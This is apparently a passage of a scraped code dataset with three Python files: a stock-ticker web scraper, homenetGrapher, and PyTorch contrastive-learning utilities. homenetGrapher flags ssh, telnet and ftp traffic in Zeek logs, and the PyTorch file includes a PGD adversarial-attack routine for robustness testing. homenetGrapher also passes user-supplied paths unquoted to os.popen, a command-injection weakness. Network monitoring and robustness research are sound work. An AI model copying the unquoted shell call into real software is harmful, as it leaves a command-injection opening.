"matplotlib.pyplot.yticks", "line_number": 156, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 156, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 157, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 157, "usage_type": "name"}, {"api_name": "lib.tuning.ratioToOctaves", "line_number": 157, "usage_type": "call"}, {"api_name": "lib.tuning", "line_number": 157, "usage_type": "name"}, {"api_name": "math.pi", "line_number": 157, "usage_type": "attribute"}, {"api_name": "lib.tuning.ratioToOctaves", "line_number": 160, "usage_type": "call"}, {"api_name": "lib.tuning", "line_number": 160, "usage_type": "name"}, {"api_name": "math.pi", "line_number": 160, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 163, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 166, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 166, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 167, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 167, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 172, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 172, "usage_type": "name"}]} {"seq_id": "44750190997", "text": "# =============================================================================\n# find each ticker's name, industry and save into file\n# =============================================================================\nimport time\nimport pandas as pd\nimport requests\nfrom bs4 import BeautifulSoup\n\n\ndef get_ticker_profile(f_from, f_to):\n tickers_prof = pd.DataFrame(data={'ticker':[], 'name':[], 'industry':[]})\n tickers = [line.rstrip() for line in open(f_from)]\n count = 0\n \n for tik in tickers:\n time.sleep(1)\n count += 1\n print('https://finance.yahoo.com/quote/'+tik+'/profile?p='+tik)\n req = requests.get('https://finance.yahoo.com/quote/'+tik+'/profile?p='+tik, allow_redirects=False)\n soup = BeautifulSoup(req.content, 'html.parser')\n \n ticker_name = ''\n ticker_industry = ''\n \n if soup.find('h3', {'data-reactid':'6'}):\n ticker_name = [soup.find('h3', {'data-reactid':'6'})][0].string\n elif soup.find('h3', {'class':'Mb(5px) Mend(40px)'}):\n ticker_name = [soup.find('h3', {'class':'Mb(5px) Mend(40px)'})][0].string\n elif soup.find('span', {'data-reactid':'5'}):\n ticker_name = [soup.find('span', {'data-reactid':'5'})][0].string\n \n if soup.find('strong', {'data-reactid':'21'}):\n ticker_industry = [soup.find('strong', {'data-reactid':'21'})][0].string\n elif soup.find('span', {'class':'Fl(end)'}):\n ticker_industry = [soup.find('span', {'class':'Fl(end)'})][0].string\n# 'industry':str([soup.find('span', {'class':'Fl(end)'})][0].string+'-'+[soup.find('span', {'class':'Fl(end)', 'data-reactid':'29'})][0].string)},\n else:\n ticker_industry = ticker_name\n \n tickers_prof = tickers_prof.append({'ticker':tik, \n 'name':ticker_name, \n 'industry':ticker_industry},\n ignore_index=True)\n \n tickers_prof.to_csv(f_to)\n", "repo_name": "runyu/B8_Social_Analytics_Project", "sub_path": "Source Code/_00_GetTickerProfile.py", "file_name": "_00_GetTickerProfile.py", "file_ext": "py", "file_size_in_byte": 2046, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.DataFrame", "line_number": 11, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 16, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 19, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 20, "usage_type": "call"}]} {"seq_id": "7710916703", "text": "#!/usr/bin/python3\n\n\n#=============\n# homenetGrapher.py\n# solely for depicting internal-to-internal network traffic, ideally running on a cron schedule and regularly monitored\n# for SMALL to MEDIUM-sized networks\n#\n# v0.1 - 20 May 2019\n# \t- first version, implements a configuration file requirement, basic labels on nodes, command line args, exclusions in the config\n#\n# use Zeek (Bro)'s conn.log and homenets.cfg to create visual images with GraphViz depicting traffic solely between internal hosts\n#\n# homenets.cfg\n# add CIDRs representing your network ranges to homenets.cfg\n# add individual IPs to ignore\n#\n# TODO\n# - write to JSON and send to a web server running d3 and d3-force\n# - display changes over time / over last x runs\n# - Zeek uid pairing and/or additional triggering based off notices.log events\n# - address coverage gaps between log rotation (look at a log that changed since last being read, which has also rotated and been gzip'd)#\n# - better config parsing\n#=============\n\n\nimport getopt, ipaddress, os, sys, time\n\n\nnow = time.strftime('%Y-%m-%d_%H:%M:%S')\n\n\ndef helpy():\n\tprint()\n\tprint('Usage:')\n\tprint('\\thomenet-graph.py --log [log-path] --config [config-path] [--dot | --circo | --neato] [--help]')\n\tprint()\n\tprint('\\t-l / --log\\t\\tpath of the Zeek (Bro) conn.log to be visualized')\n\tprint('\\t-g / --config\\t\\tpath of the homenets.cfg (line-separated file containing your network\\'s CIDR ranges, one-per-line')\n\tprint('\\t-o / --output\\t\\toutput location (NOT filename) for the final image')\n\tprint('\\t-d / --dot\\t\\toutputs image in dot format')\n\tprint('\\t-c / --circo\\t\\toutputs image in circo format')\n\tprint('\\t-n / --neato\\t\\toutputs image in neato format')\n\tprint()\n\tprint('Examples:')\n\tprint('\\thomenetGrapher.py --config /etc/opt/homenetGrapher/homenets.cfg --log /path-to-bro/conn.log --output /var/log --dot --circo --neato')\n\tprint('\\thomenetGrapher.py -g /etc/opt/homenetGrapher/homenets.cfg -l /path-to-bro/conn.log -o /var/log --dot --circo --neato')\n\tprint()\n\n\ntry:\n\topts, args = getopt.getopt(sys.argv[1:], \"hcdng:l:o:\", [\"help\", \"circo\", \"dot\", \"neato\", \"config=\", \"log=\", \"output=\"])\nexcept Exception as e:\n\tprint(str(e))\n\thelpy()\n\tsys.exit(2)\n\n\nmakeimg = False\ncirc = False\ndott = False\nneat = False\ntry:\n\tfor opt, arg in opts:\n\t\tif opt in [\"-h\", \"--help\"]:\n\t\t\thelpy()\n\t\t\tsys.exit(1)\n\t\tif opt in [\"-g\", \"--config\"]:\n\t\t\tconfigLocation = arg\n\t\tif opt in [\"-o\", \"--output\"]:\n\t\t\toutputPath = str(arg).rstrip('/')\n\t\t\tdotFile = str(outputPath+'/homenet-graph-{}-DOTFILE.dot'.format(now))\n\t\tif opt in [\"-c\", \"--circo\"]:\n\t\t\tcircoImage = str(outputPath+'/homenet-graph-{}-circo.png'.format(now))\n\t\t\tcirc = True\n\t\t\tmakeimg = True\n\t\tif opt in [\"-d\", \"--dot\"]:\n\t\t\tdotImage = str(outputPath+'/homenet-graph-{}-dot.png'.format(now))\n\t\t\tdott = True\n\t\t\tmakeimg = True\n\t\tif opt in [\"-n\", \"--neato\"]:\n\t\t\tneatoImage = str(outputPath+'/homenet-graph-{}-neato.png'.format(now))\n\t\t\tneat = True\n\t\t\tmakeimg = True\n\t\tif opt in [\"-l\", \"--log\"]:\n\t\t\tlogLocation = str(arg).rstrip('/')\nexcept Exception as e:\n\tprint(str(e))\n\thelpy()\n\tsys.exit(1)\n\n\nwith open(configLocation, mode='r', encoding=\"utf-8\") as configfile:\n\thomenets = []\n\texclude = []\n\tfor line in configfile:\n\t\tif not line.startswith('#'):\n\t\t\tif len(line) >= 7:\n\t\t\t\tif not line.startswith('EXCLUDE'):\n\t\t\t\t\thomenets.append(line.rstrip('\\n'))\n\t\t\t\telse:\n\t\t\t\t\texclude.append(line.split()[1].rstrip('\\n'))\n\tconfigfile.close()\n\n\ndef checkIps(s, d):\n\tfor cidr in homenets:\n\t\tif s not in exclude and d not in exclude:\n\t\t\tif ipaddress.ip_address(s) in ipaddress.ip_network(cidr):\n\t\t\t\tfor cidr in homenets:\n\t\t\t\t\tif ipaddress.ip_address(d) in ipaddress.ip_network(cidr):\n\t\t\t\t\t\treturn True\n\n\nconnections = []\nwith open(logLocation, mode=\"r\", encoding=\"utf-8\") as logfile:\n\tc = 0\n\tfor line in logfile:\n\t\tif not line.startswith('#'):\n\t\t\tl = line.split('\\t')\n\t\t\tts = l[0]\n\t\t\tsip = l[2]\n\t\t\tdip = l[4]\n\t\t\tspt = l[3] # if icmp, this is type\n\t\t\tdpt = l[5] # if icmp, this is code\n\t\t\tpro = l[6]\n\t\t\tsrv = l[7]\n\t\t\tsta = l[11]\n#\t\t\this = l[15]\n\t\t\tif checkIps(sip, dip):\n\t\t\t\tcolor = 'black'\n\t\t\t\tif pro == 'tcp':\n\t\t\t\t\tcolor = 'blue'\n\t\t\t\t\tif srv == 'ssl':\n\t\t\t\t\t\tcolor = 'cyan'\n\t\t\t\t\tif srv in ['ftp', 'ftp-data', 'ssh', 'scp', 'telnet', 'ms-wbt-server', 'tftp', 'ni-ftp', 'sftp', 'bftp', 'subntbcst_tftp', 'mftp', 'ftp-agent', 'pftp', 'ftps-data', 'ftps', 'tftp-mcast', 'etftp', 'utsftp', 'aaftp', 'gsiftp', 'odette-ftp', 'odette-ftps', 'tftps', 'kftp', 'kftp-data', 'mcftp', 'netconf-ssh', 'sdo-ssh', 'ssh-mgmt', 'rtelnet', 'telnets', 'skytelnet', 'hp-3000-telnet', 'tl1-telnet', 'telnetcpcd', 'scpi-telnet', 'ktelnet', 'rcp']:\n\t\t\t\t\t\tcolor = 'red'\n\t\t\t\telif pro == 'udp':\n\t\t\t\t\tcolor = 'orange'\n\t\t\t\telif pro == 'icmp':\n\t\t\t\t\tcolor = 'purple'\n\t\t\t\t\tdpt = '{}:{}'.format(spt, dpt)\n\t\t\t\tconnections.append('\"{}\" -> \"{}\" [label=\"dpt:{}/{}/{} {}\", color=\"{}\"]'.format(sip, dip, dpt, pro, srv, sta, color))\n\tlogfile.close()\n\n\nif makeimg:\n\tprint('Making {}'.format(dotFile))\n\twith open(dotFile, 'w') as o:\n\t\to.write('digraph output {\\nnode[shape = Mrecord];\\nfontsize=16;\\nnodesep=1.5;\\nranksep=1;\\nrankdir=LR;\\n')\n\t\tconnections = list(set(connections))\n\t\tfor c in connections:\n\t\t\to.write(c+';\\n')\n\t\to.write('\\n}')\n\to.close()\n\tprint('Making output images... these may take a minute to render.')\n\ttry:\n\t\tif dott:\n\t\t\tprint('Making {}'.format(dotImage))\n\t\t\tos.popen('dot -Tpng {} -o {}'.format(dotFile, dotImage))\n\t\tif circ:\n\t\t\tprint('Making {}'.format(circoImage))\n\t\t\tos.popen('circo -Tpng {} -o {}'.format(dotFile, circoImage))\n\t\tif neat:\n\t\t\tprint('Making {}'.format(neatoImage))\n\t\t\tos.popen('neato -Goverlap=scale -Tpng {} -o {}'.format(dotFile, neatoImage))\n\texcept Exception as e:\n\t\tprint(str(e))\n\t\tprint('ERROR: \"dot\", \"circo\", and/or \"neato\" not found via path variable - is GraphViz installed on this system?')\n\t\tsys.exit(5)\n\t# comment the remove line to preserve the dot-formatted text file used to generate the images via GraphViz\n\t# time.sleep(0.5) # this gives dot/circo/neato time to ingest the config before removing it\n\t# os.remove(dotFile)\nelse:\n\tprint()\n\tprint('You didn\\'t specify a format for the output graph.')\n\thelpy()\n\tsys.exit(1)\n", "repo_name": "bonifield/homenetGrapher", "sub_path": "homenetGrapher.py", "file_name": "homenetGrapher.py", "file_ext": "py", "file_size_in_byte": 6091, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "time.strftime", "line_number": 30, "usage_type": "call"}, {"api_name": "getopt.getopt", "line_number": 52, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 52, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 56, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 67, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 90, "usage_type": "call"}, {"api_name": "ipaddress.ip_address", "line_number": 109, "usage_type": "call"}, {"api_name": "ipaddress.ip_network", "line_number": 109, "usage_type": "call"}, {"api_name": "ipaddress.ip_address", "line_number": 111, "usage_type": "call"}, {"api_name": "ipaddress.ip_network", "line_number": 111, "usage_type": "call"}, {"api_name": "os.popen", "line_number": 160, "usage_type": "call"}, {"api_name": "os.popen", "line_number": 163, "usage_type": "call"}, {"api_name": "os.popen", "line_number": 166, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 170, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 178, "usage_type": "call"}]} {"seq_id": "15704429107", "text": "import torch\r\nimport torch.nn as nn\r\nimport os\r\nimport time\r\nimport numpy as np\r\nimport random\r\nimport torch.nn.functional as F\r\nimport re\r\nfrom pdb import set_trace\r\n\r\n\r\ndef gather_features(features, local_rank, world_size):\r\n features_list = [torch.zeros_like(features) for _ in range(world_size)]\r\n torch.distributed.all_gather(features_list, features)\r\n features_list[local_rank] = features\r\n features = torch.cat(features_list)\r\n return features\r\n\r\n\r\ndef sync_weights(model, except_key_words):\r\n state_dict = model.state_dict()\r\n for key, item in state_dict.items():\r\n flag_sync = True\r\n for key_word in except_key_words:\r\n if key_word in key:\r\n flag_sync = False\r\n break\r\n\r\n if flag_sync:\r\n torch.distributed.broadcast(item, 0)\r\n\r\n model.load_state_dict(state_dict)\r\n return\r\n\r\n\r\n# loss\r\ndef pair_cosine_similarity(x, eps=1e-8):\r\n n = x.norm(p=2, dim=1, keepdim=True)\r\n return (x @ x.t()) / (n * n.t()).clamp(min=eps)\r\n\r\n\r\ndef nt_xent(x, t=0.5):\r\n # print(\"device of x is {}\".format(x.device))\r\n\r\n x = pair_cosine_similarity(x)\r\n x = torch.exp(x / t)\r\n idx = torch.arange(x.size()[0])\r\n # Put positive pairs on the diagonal\r\n idx[::2] += 1\r\n idx[1::2] -= 1\r\n x = x[idx]\r\n # subtract the similarity of 1 from the numerator\r\n x = x.diag() / (x.sum(0) - torch.exp(torch.tensor(1 / t)))\r\n\r\n return -torch.log(x).mean()\r\n\r\n\r\ndef normalize_fn(tensor, mean, std):\r\n \"\"\"Differentiable version of torchvision.functional.normalize\"\"\"\r\n # here we assume the color channel is in at dim=1\r\n mean = mean[None, :, None, None]\r\n std = std[None, :, None, None]\r\n return tensor.sub(mean).div(std)\r\n\r\n\r\nclass NormalizeByChannelMeanStd(nn.Module):\r\n def __init__(self, mean, std):\r\n super(NormalizeByChannelMeanStd, self).__init__()\r\n if not isinstance(mean, torch.Tensor):\r\n mean = torch.tensor(mean)\r\n if not isinstance(std, torch.Tensor):\r\n std = torch.tensor(std)\r\n self.register_buffer(\"mean\", mean)\r\n self.register_buffer(\"std\", std)\r\n\r\n def forward(self, tensor):\r\n return normalize_fn(tensor, self.mean, self.std)\r\n\r\n def extra_repr(self):\r\n return 'mean={}, std={}'.format(self.mean, self.std)\r\n\r\n\r\ndef pgd_attack(model, images, labels, device, eps=8. / 255., alpha=2. / 255., iters=20):\r\n images = images.to(device)\r\n labels = labels.to(device)\r\n loss = nn.CrossEntropyLoss()\r\n\r\n # init\r\n delta = torch.rand_like(images) * eps * 2 - eps\r\n delta = torch.nn.Parameter(delta)\r\n\r\n for i in range(iters):\r\n outputs = model.eval()(images + delta)\r\n\r\n model.zero_grad()\r\n cost = loss(outputs, labels).to(device)\r\n cost.backward()\r\n\r\n delta.data = delta.data + alpha * delta.grad.sign()\r\n delta.grad = None\r\n delta.data = torch.clamp(delta.data, min=-eps, max=eps)\r\n delta.data = torch.clamp(images + delta.data, min=0, max=1) - images\r\n\r\n return images + delta\r\n\r\n\r\ndef eval_adv_test(model, device, test_loader, epsilon, alpha, criterion, log, attack_iter=40):\r\n batch_time = AverageMeter()\r\n losses = AverageMeter()\r\n top1 = AverageMeter()\r\n\r\n # fix random seed for testing\r\n torch.manual_seed(1)\r\n\r\n model.eval()\r\n end = time.time()\r\n for i, (input, target) in enumerate(test_loader):\r\n input, target = input.to(device), target.to(device)\r\n input_adv = pgd_attack(model, input, target, device, eps=epsilon, iters=attack_iter, alpha=alpha).data\r\n\r\n # compute output\r\n output = model.eval()(input_adv)\r\n loss = criterion(output, target)\r\n\r\n # measure accuracy and record loss\r\n prec1, = accuracy(output.data, target, topk=(1,))\r\n top1.update(prec1, input.size(0))\r\n losses.update(loss.item(), input.size(0))\r\n batch_time.update(time.time() - end)\r\n end = time.time()\r\n\r\n if (i % 10 == 0) or (i == len(test_loader) - 1):\r\n log.info(\r\n 'Test: [{}/{}]\\t'\r\n 'Time: {batch_time.val:.4f}({batch_time.avg:.4f})\\t'\r\n 'Loss: {loss.val:.3f}({loss.avg:.3f})\\t'\r\n 'Prec@1: {top1.val:.3f}({top1.avg:.3f})\\t'.format(\r\n i, len(test_loader), batch_time=batch_time,\r\n loss=losses, top1=top1\r\n )\r\n )\r\n\r\n log.info(' * Adv Prec@1 {top1.avg:.3f}'.format(top1=top1))\r\n return top1.avg\r\n\r\n\r\ndef setup_seed(seed):\r\n torch.manual_seed(seed)\r\n torch.cuda.manual_seed_all(seed)\r\n np.random.seed(seed)\r\n random.seed(seed)\r\n\r\n torch.backends.cudnn.benchmark = False\r\n torch.backends.cudnn.deterministic = True\r\n torch.backends.cudnn.enabled = True\r\n\r\n\r\ndef accuracy(output, target, topk=(1,)):\r\n \"\"\"Computes the precision@k for the specified values of k\"\"\"\r\n maxk = max(topk)\r\n batch_size = target.size(0)\r\n\r\n _, pred = output.topk(maxk, 1, True, True)\r\n pred = pred.t()\r\n correct = pred.eq(target.view(1, -1).expand_as(pred))\r\n\r\n res = []\r\n for k in topk:\r\n correct_k = correct[:k].reshape(-1).float().sum(0)\r\n res.append(correct_k.mul_(100.0 / batch_size))\r\n return res\r\n\r\n\r\nclass AverageMeter(object):\r\n \"\"\"Computes and stores the average and current value\"\"\"\r\n def __init__(self):\r\n self.reset()\r\n\r\n def reset(self):\r\n self.val = 0\r\n self.avg = 0\r\n self.sum = 0\r\n self.count = 0\r\n\r\n def update(self, val, n=1):\r\n self.val = val\r\n self.sum += val * n\r\n self.count += n\r\n self.avg = self.sum / self.count\r\n\r\n\r\nclass logger(object):\r\n def __init__(self, path, log_name=\"log.txt\", local_rank=0):\r\n self.path = path\r\n self.local_rank = local_rank\r\n self.log_name = log_name\r\n\r\n def info(self, msg):\r\n if self.local_rank == 0:\r\n print(msg)\r\n with open(os.path.join(self.path, self.log_name), 'a') as f:\r\n f.write(msg + \"\\n\")\r\n\r\n\r\ndef fix_bn(model, fixto):\r\n if fixto == 'nothing':\r\n # fix none\r\n # fix previous three layers\r\n pass\r\n elif fixto == 'layer1':\r\n # fix the first layer\r\n for name, m in model.named_modules():\r\n if not (\"layer2\" in name or \"layer3\" in name or \"layer4\" in name or \"fc\" in name):\r\n m.eval()\r\n elif fixto == 'layer2':\r\n # fix the previous two layers\r\n for name, m in model.named_modules():\r\n if not (\"layer3\" in name or \"layer4\" in name or \"fc\" in name):\r\n m.eval()\r\n elif fixto == 'layer3':\r\n # fix every layer except fc\r\n # fix previous four layers\r\n for name, m in model.named_modules():\r\n if not (\"layer4\" in name or \"fc\" in name):\r\n m.eval()\r\n elif fixto == 'layer4':\r\n # fix every layer except fc\r\n # fix previous four layers\r\n for name, m in model.named_modules():\r\n if not (\"fc\" in name):\r\n m.eval()\r\n else:\r\n assert False\r\n\r\n\r\ndef change_batchnorm_momentum(module, value):\r\n if isinstance(module, torch.nn.modules.batchnorm._BatchNorm):\r\n module.momentum = value\r\n for name, child in module.named_children():\r\n change_batchnorm_momentum(child, value)\r\n\r\n\r\ndef get_negative_mask_to_another_branch(batch_size):\r\n negative_mask = torch.ones((batch_size, batch_size), dtype=bool)\r\n for i in range(batch_size):\r\n negative_mask[i, i] = 0\r\n\r\n return negative_mask\r\n\r\n\r\ndef nt_xent_only_compare_to_another_branch(x1, x2, t=0.5):\r\n out1 = F.normalize(x1, dim=-1)\r\n out2 = F.normalize(x2, dim=-1)\r\n d = out1.size()\r\n batch_size = d[0]\r\n\r\n neg = torch.exp(torch.mm(out1, out2.t().contiguous()) / t)\r\n\r\n mask = get_negative_mask_to_another_branch(batch_size).cuda()\r\n neg = neg.masked_select(mask).view(batch_size, -1)\r\n\r\n # pos score\r\n pos = torch.exp(torch.sum(out1 * out2, dim=-1) / t)\r\n\r\n # estimator g()\r\n Ng = neg.sum(dim=-1)\r\n\r\n # contrastive loss\r\n loss = (- torch.log(pos / (pos + Ng)))\r\n return loss.mean()\r\n\r\n\r\ndef nt_xent_compare_to_queue(out1, out2, queue, t=0.5, sampleWiseLoss=False):\r\n\r\n d = out1.size()\r\n batch_size = d[0]\r\n\r\n neg = torch.exp(torch.mm(out1, queue.clone().detach()) / t)\r\n\r\n # pos score\r\n pos = torch.exp(torch.sum(out1 * out2, dim=-1) / t)\r\n\r\n # estimator g()\r\n Ng = neg.sum(dim=-1)\r\n\r\n # contrastive loss\r\n loss = (- torch.log(pos / (pos + Ng)))\r\n\r\n if sampleWiseLoss:\r\n return loss\r\n else:\r\n return loss.mean()\r\n\r\n\r\ndef gatherFeatures(features, local_rank, world_size):\r\n features_list = [torch.zeros_like(features) for _ in range(world_size)]\r\n torch.distributed.all_gather(features_list, features)\r\n features_list[local_rank] = features\r\n features = torch.cat(features_list)\r\n return features\r\n\r\n\r\n# loss\r\ndef pair_cosine_similarity(x, eps=1e-8):\r\n n = x.norm(p=2, dim=1, keepdim=True)\r\n return (x @ x.t()) / (n * n.t()).clamp(min=eps)\r\n\r\n\r\ndef nt_xent(x, t=0.5, sampleWiseLoss=False, return_prob=False):\r\n # print(\"device of x is {}\".format(x.device))\r\n\r\n x = pair_cosine_similarity(x)\r\n x = torch.exp(x / t)\r\n idx = torch.arange(x.size()[0])\r\n # Put positive pairs on the diagonal\r\n idx[::2] += 1\r\n idx[1::2] -= 1\r\n x = x[idx]\r\n # subtract the similarity of 1 from the numerator\r\n x = x.diag() / (x.sum(0) - torch.exp(torch.tensor(1 / t)))\r\n\r\n if return_prob:\r\n return x.reshape(len(x) // 2, 2).mean(-1)\r\n\r\n sample_loss = -torch.log(x)\r\n\r\n if sampleWiseLoss:\r\n return sample_loss.reshape(len(sample_loss) // 2, 2).mean(-1)\r\n\r\n return sample_loss.mean()\r\n\r\n\r\ndef nt_xent_weak_compare(x, t=0.5, features2=None, easy_mining=0.9):\r\n if features2 is None:\r\n out = F.normalize(x, dim=-1)\r\n d = out.size()\r\n batch_size = d[0] // 2\r\n out = out.view(batch_size, 2, -1).contiguous()\r\n out_1 = out[:, 0]\r\n out_2 = out[:, 1]\r\n else:\r\n batch_size = x.shape[0]\r\n out_1 = F.normalize(x, dim=-1)\r\n out_2 = F.normalize(features2, dim=-1)\r\n\r\n # neg score\r\n out = torch.cat([out_1, out_2], dim=0)\r\n neg = torch.exp(torch.mm(out, out.t().contiguous()) / t)\r\n\r\n mask = get_negative_mask(batch_size).cuda()\r\n neg = neg.masked_select(mask).view(2 * batch_size, -1)\r\n\r\n total_neg_num = neg.shape[1]\r\n hard_sample_num = max(int((1 - easy_mining) * total_neg_num), 1)\r\n score = neg\r\n threshold = score.kthvalue(hard_sample_num, dim=1, keepdim=True)[0]\r\n neg = (score <= threshold) * neg\r\n Ng = neg.sum(dim=-1)\r\n\r\n # pos score\r\n pos = torch.exp(torch.sum(out_1 * out_2, dim=-1) / t)\r\n pos = torch.cat([pos, pos], dim=0)\r\n\r\n # contrastive loss\r\n loss = (- torch.log(pos / (pos + Ng)))\r\n\r\n return loss.mean()\r\n\r\n\r\ndef focal_loss(prob, gamma):\r\n \"\"\"Computes the focal loss\"\"\"\r\n loss = (1 - prob) ** gamma * (-torch.log(prob))\r\n return loss.mean()\r\n\r\n\r\ndef fix_focal_loss(prob, fix_prob, gamma):\r\n \"\"\"Computes the focal loss\"\"\"\r\n loss = (1 - fix_prob) ** gamma * (-torch.log(prob))\r\n return loss.mean()\r\n\r\n\r\nclass FocalLoss(nn.Module):\r\n def __init__(self, gamma=0.):\r\n super(FocalLoss, self).__init__()\r\n assert gamma >= 0\r\n self.gamma = gamma\r\n # self.weight = weight\r\n\r\n def forward(self, prob):\r\n return focal_loss(prob, self.gamma)\r\n\r\n\r\nclass DistillCrossEntropy(nn.Module):\r\n def __init__(self, T):\r\n super(DistillCrossEntropy, self).__init__()\r\n self.T = T\r\n return\r\n\r\n def forward(self, inputs, target):\r\n \"\"\"\r\n :param inputs: prediction logits\r\n :param target: target logits\r\n :return: loss\r\n \"\"\"\r\n log_likelihood = - F.log_softmax(inputs / self.T, dim=1)\r\n sample_num, class_num = target.shape\r\n loss = torch.sum(torch.mul(log_likelihood, torch.softmax(target / self.T, dim=1)))/sample_num\r\n\r\n return loss\r\n\r\n\r\nclass FocalLoss_fix(nn.Module):\r\n def __init__(self, gamma=0., fix_probs=None):\r\n super(FocalLoss_fix, self).__init__()\r\n '''\r\n fix_prob: FloatTensor, the prob for each sample, it follows the order of index\r\n '''\r\n\r\n assert gamma >= 0\r\n self.gamma = gamma\r\n assert fix_probs is not None\r\n self.fix_probs = fix_probs\r\n # self.weight = weight\r\n\r\n def forward(self, prob, idxs):\r\n fix_prob = self.fix_probs[idxs]\r\n return fix_focal_loss(prob, fix_prob, self.gamma)\r\n\r\n\r\ndef get_negative_mask(batch_size):\r\n negative_mask = torch.ones((batch_size, 2 * batch_size), dtype=bool)\r\n for i in range(batch_size):\r\n negative_mask[i, i] = 0\r\n negative_mask[i, i + batch_size] = 0\r\n\r\n negative_mask = torch.cat((negative_mask, negative_mask), 0)\r\n return negative_mask\r\n\r\n\r\ndef nt_xent_instance_large(x, t=0.5, return_porbs=False):\r\n out = F.normalize(x, dim=-1)\r\n d = out.size()\r\n batch_size = d[0] // 2\r\n out = out.view(batch_size, 2, -1).contiguous()\r\n out_1 = out[:, 0]\r\n out_2 = out[:, 1]\r\n out = torch.cat([out_1, out_2], dim=0)\r\n\r\n # doesn't give gradient\r\n losses = []\r\n probs = []\r\n\r\n with torch.no_grad():\r\n for cnt in range(batch_size):\r\n # pos score\r\n pos = torch.exp(torch.sum(out_1[cnt] * out_2[cnt]) / t)\r\n pos = torch.stack([pos, pos], dim=0)\r\n\r\n Ng1 = torch.exp((out_1[cnt].unsqueeze(0) * out).sum(1) / t).sum() - torch.exp(torch.Tensor([1 / t,])).to(out.device)\r\n Ng2 = torch.exp((out_2[cnt].unsqueeze(0) * out).sum(1) / t).sum() - torch.exp(torch.Tensor([1 / t,])).to(out.device)\r\n Ng = torch.cat([Ng1, Ng2], dim=0)\r\n\r\n if not return_porbs:\r\n # contrastive loss\r\n losses.append(- torch.log(pos / Ng).mean())\r\n else:\r\n # contrastive loss\r\n probs.append((pos / Ng).mean())\r\n\r\n if not return_porbs:\r\n losses = torch.stack(losses)\r\n return losses\r\n else:\r\n probs = torch.stack(probs)\r\n return probs\r\n\r\n\r\ndef nt_xent_inter_batch_multiple_time(x, t=0.5, batch_size=512, repeat_time=10, return_porbs=False):\r\n out = F.normalize(x, dim=-1)\r\n d = out.size()\r\n dataset_len = d[0] // 2\r\n dataset_features = out.view(dataset_len, 2, -1).contiguous()\r\n\r\n # doesn't give gradient\r\n losses_all = []\r\n\r\n with torch.no_grad():\r\n for cnt in range(repeat_time):\r\n losses_batch = []\r\n # order features\r\n random_order = torch.randperm(dataset_len, device=out.device)\r\n order_back = torch.argsort(random_order)\r\n dataset_features_1 = dataset_features[:, 0]\r\n dataset_features_2 = dataset_features[:, 1]\r\n # dataset_features_1 = dataset_features_1[random_order]\r\n # dataset_features_2 = dataset_features_2[random_order]\r\n\r\n # get the loss\r\n assert dataset_len >= batch_size\r\n for i in range(int(np.ceil(dataset_len / batch_size))):\r\n if (i + 1) * batch_size < dataset_len:\r\n samplingIdx = random_order[i * batch_size: (i + 1) * batch_size]\r\n offset = 0\r\n else:\r\n samplingIdx = random_order[dataset_len - batch_size:]\r\n offset = i * batch_size - (dataset_len - batch_size)\r\n\r\n # calculate loss\r\n out1 = dataset_features_1[samplingIdx]\r\n out2 = dataset_features_2[samplingIdx]\r\n\r\n out = torch.stack([out1, out2], dim=1).view((batch_size * 2, -1))\r\n losses_or_probs = nt_xent(out, t=t, sampleWiseLoss=True, return_prob=return_porbs)[offset:]\r\n losses_batch.append(losses_or_probs)\r\n\r\n # reset the order\r\n losses_batch = torch.cat(losses_batch, dim=0)\r\n losses_batch = losses_batch[order_back]\r\n losses_all.append(losses_batch)\r\n\r\n # average togather\r\n losses_all = torch.stack(losses_all).mean(0)\r\n\r\n return losses_all\r\n\r\n\r\n\r\ndef nt_xent_debiased(x, t=0.5, tau_plus=0.5, debiased=False, weightIns=None, distanceWeightingMode=False, sampleWiseLoss=False, features2=None, returnProb=False):\r\n if features2 is None:\r\n out = F.normalize(x, dim=-1)\r\n d = out.size()\r\n batch_size = d[0] // 2\r\n out = out.view(batch_size, 2, -1).contiguous()\r\n out_1 = out[:, 0]\r\n out_2 = out[:, 1]\r\n else:\r\n batch_size = x.shape[0]\r\n out_1 = F.normalize(x, dim=-1)\r\n out_2 = F.normalize(features2, dim=-1)\r\n\r\n # neg score\r\n out = torch.cat([out_1, out_2], dim=0)\r\n # print(\"temperature is {}\".format(t))\r\n neg = torch.exp(torch.mm(out, out.t().contiguous()) / t)\r\n\r\n if returnProb:\r\n assert not distanceWeightingMode\r\n\r\n if not distanceWeightingMode:\r\n mask = get_negative_mask(batch_size).cuda()\r\n neg = neg.masked_select(mask).view(2 * batch_size, -1)\r\n\r\n # pos score\r\n pos = torch.exp(torch.sum(out_1 * out_2, dim=-1) / t)\r\n pos = torch.cat([pos, pos], dim=0)\r\n\r\n # estimator g()\r\n if debiased:\r\n N = batch_size * 2 - 2\r\n Ng = (-tau_plus * N * pos + neg.sum(dim=-1)) / (1 - tau_plus)\r\n # constrain (optional)\r\n Ng = torch.clamp(Ng, min=N * np.e ** (-1 / t))\r\n else:\r\n Ng = neg.sum(dim=-1)\r\n\r\n # contrastive loss\r\n if returnProb:\r\n return pos / (pos + Ng)\r\n\r\n loss = (- torch.log(pos / (pos + Ng)))\r\n\r\n assert weightIns is None\r\n if sampleWiseLoss:\r\n return (loss[batch_size:] + 